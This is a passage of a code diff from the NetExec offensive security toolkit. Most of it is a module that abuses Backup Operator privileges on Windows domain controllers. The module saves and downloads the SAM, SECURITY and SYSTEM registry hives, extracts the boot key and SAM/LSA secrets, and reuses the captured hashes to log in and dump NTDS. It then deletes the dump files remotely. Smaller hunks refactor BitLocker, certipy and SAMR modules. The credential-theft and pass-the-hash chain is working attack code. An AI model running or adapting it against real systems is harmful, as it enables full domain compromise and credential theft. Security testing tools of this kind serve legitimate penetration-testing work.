RemoteRegistry service via the Service Control Manager -- which needs admin-level
|
||||
rights a plain Backup Operator doesn't have. This module already gets
|
||||
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
|
||||
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
|
||||
that connection here.
|
||||
|
||||
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
|
||||
so the caller can fall back to the full SYSTEM hive save/download path.
|
||||
"""
|
||||
boot_key = b""
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for key in ["JD", "Skew1", "GBG", "Data"]:
|
||||
context.log.debug(f"Retrieving class info for Lsa\\{key}")
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
dce,
|
||||
reg_handle,
|
||||
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
|
||||
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
|
||||
samDesired=rrp.KEY_READ,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
|
||||
class_out = ans["lpClassOut"]
|
||||
if isinstance(class_out, str):
|
||||
class_out = class_out.encode()
|
||||
boot_key += class_out[:-1]
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, reg_handle)
|
||||
|
||||
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
||||
boot_key = unhexlify(boot_key)
|
||||
|
||||
final_boot_key = b""
|
||||
for i in range(len(boot_key)):
|
||||
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
|
||||
|
||||
return final_boot_key
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
|
||||
# enable remote registry
|
||||
context.log.display("Triggering RemoteRegistry to start through named pipe...")
|
||||
connection.trigger_winreg()
|
||||
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
|
||||
rpc.set_smb_connection(connection.conn)
|
||||
if connection.kerberos:
|
||||
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
dce = rpc.get_dce_rpc()
|
||||
if connection.kerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
boot_key = None
|
||||
try:
|
||||
dce.connect()
|
||||
dce.bind(rrp.MSRPC_UUID_RRP)
|
||||
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
# Large hives can take minutes to save before the RPC call returns.
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
@@ -52,71 +103,187 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Attempting to retrieve boot key live from the remote registry...")
|
||||
boot_key = self.get_boot_key(context, dce)
|
||||
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
|
||||
boot_key = None
|
||||
|
||||
if boot_key is None:
|
||||
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
|
||||
self.system_hive_saved = True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.get_file_single(hive, log_path + hive)
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
hives_to_download = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives_to_download.append("SYSTEM")
|
||||
for hive in hives_to_download:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
def parse_sam(secret):
|
||||
context.log.highlight(secret)
|
||||
if not self.domain_admin:
|
||||
if not self.local_admin:
|
||||
first_line = secret.strip().splitlines()[0]
|
||||
fields = first_line.split(":")
|
||||
self.domain_admin = fields[0]
|
||||
self.domain_admin_hash = fields[3]
|
||||
if len(fields) >= 4:
|
||||
self.local_admin = fields[0]
|
||||
self.local_admin_hash = fields[3]
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
|
||||
def parse_lsa(secret_type, secret):
|
||||
context.log.highlight(secret)
|
||||
if self.machine_account:
|
||||
return
|
||||
for line in secret.splitlines():
|
||||
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
|
||||
if match:
|
||||
self.machine_account_hash = match.group(1)
|
||||
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
|
||||
# "$MACHINE.ACC" has no real name -> derive it from the connection.
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
if boot_key is None:
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
|
||||
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
|
||||
|
||||
if self.domain_admin:
|
||||
dump_creds = None
|
||||
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
|
||||
if self._try_dump_ntds(connection, context, username, user_hash):
|
||||
dump_creds = (username, user_hash)
|
||||
break
|
||||
|
||||
if dump_creds:
|
||||
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
|
||||
if not self.cleanup_user or not self.cleanup_hash:
|
||||
self.cleanup_user, self.cleanup_hash = dump_creds
|
||||
|
||||
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
|
||||
else:
|
||||
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _try_dump_ntds(self, connection, context, username, user_hash):
|
||||
if not username or not user_hash:
|
||||
return False
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
try:
|
||||
context.log.display(f"Dumping NTDS using {username}...")
|
||||
connection.ntds()
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
|
||||
return False
|
||||
|
||||
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
|
||||
if not username or not user_hash:
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
return
|
||||
context.log.display(f"Using {username} to clean up files...")
|
||||
with contextlib.suppress(Exception):
|
||||
connection.conn.logoff()
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives.append("SYSTEM")
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
context.log.display("Dumping NTDS...")
|
||||
connection.ntds()
|
||||
except Exception as e:
|
||||
context.log.fail(f"Fail to dump the NTDS: {e!s}")
|
||||
connection.conn.deleteFile("SYSVOL", remote_name)
|
||||
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
|
||||
except SessionError as e:
|
||||
if "STATUS_NO_SUCH_FILE" in str(e):
|
||||
context.log.debug(f"File {remote_name} already removed or not found.")
|
||||
continue
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
|
||||
try:
|
||||
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
continue
|
||||
except Exception as exec_err:
|
||||
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
|
||||
all_deleted = False
|
||||
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
|
||||
|
||||
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
|
||||
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
|
||||
sleep(0.2)
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
if all_deleted:
|
||||
double_check = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
try:
|
||||
out = connection.conn.listPath("SYSVOL", hive)
|
||||
if out:
|
||||
self.deleted_files = False
|
||||
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
|
||||
except SessionError as e:
|
||||
context.log.debug(f"File {hive} successfully removed: {e}")
|
||||
else:
|
||||
self.deleted_files = False
|
||||
else:
|
||||
self.deleted_files = False
|
||||
if connection.conn.listPath("SYSVOL", remote_name):
|
||||
double_check = False
|
||||
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
|
||||
except SessionError:
|
||||
pass
|
||||
if double_check:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
return
|
||||
|
||||
if not self.deleted_files:
|
||||
context.log.display("Use the domain admin account to clean the file on the remote host")
|
||||
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
|
||||
else:
|
||||
context.log.display("Successfully deleted dump files !")
|
||||
self._print_cleanup_warning(context, rand_suffix)
|
||||
|
||||
def _extract_da_hash(self, output_filename, context):
|
||||
try:
|
||||
with open(f"{output_filename}.ntds") as f:
|
||||
fallback = None
|
||||
for line in f:
|
||||
fields = line.strip().split(":")
|
||||
if len(fields) < 4 or not fields[3]:
|
||||
continue
|
||||
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
|
||||
if fields[1] == "500":
|
||||
return da_user, fields[3]
|
||||
if fallback is None:
|
||||
fallback = (da_user, fields[3])
|
||||
if fallback:
|
||||
return fallback
|
||||
except Exception as e:
|
||||
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
|
||||
if self.system_hive_saved:
|
||||
paths += f", SYSTEM_{rand_suffix}"
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
+116
-141
@@ -1,141 +1,116 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
@@ -2,12 +2,14 @@
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -34,7 +36,7 @@ class NXCModule:
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.output_path = join(NXC_PATH, "modules", "certipy-find")
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
@@ -75,9 +77,12 @@ class NXCModule:
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
remote_name=connection.remoteName,
|
||||
hashes=f"{connection.lmhash}:{connection.nthash}",
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aes=connection.aesKey,
|
||||
dc_ip=connection.kdcHost,
|
||||
target_ip=connection.host,
|
||||
ldap_port=connection.port,
|
||||
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
|
||||
@@ -116,9 +121,9 @@ class NXCModule:
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.json"), "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
@@ -128,10 +133,10 @@ class NXCModule:
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -1,7 +1,8 @@
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5 import samr, epm
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -45,31 +46,21 @@ class NXCModule:
|
||||
def authenticate(self, context, connection, protocol, anonymous=False):
|
||||
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
|
||||
try:
|
||||
# Map to the SAMR endpoint on the target
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
rpctransport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
|
||||
if anonymous:
|
||||
rpctransport.set_credentials("", "", "", "", "", "")
|
||||
rpctransport.set_kerberos(False, None)
|
||||
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
|
||||
dce = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
samr.MSRPC_UUID_SAMR,
|
||||
string_binding=string_binding,
|
||||
set_remote_host=connection.host,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
context.log.info("Connecting with null session credentials.")
|
||||
else:
|
||||
rpctransport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
|
||||
|
||||
# Connect to the DCE/RPC endpoint and bind to the SAMR service
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
context.log.info("[+] Successfully connected to DCE/RPC")
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
context.log.info("[+] Successfully bound to SAMR")
|
||||
return dce
|
||||
except DCERPCException as e:
|
||||
@@ -98,7 +89,7 @@ class NXCModule:
|
||||
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
|
||||
except Exception as e:
|
||||
# Handle specific errors like password expiration or must be change
|
||||
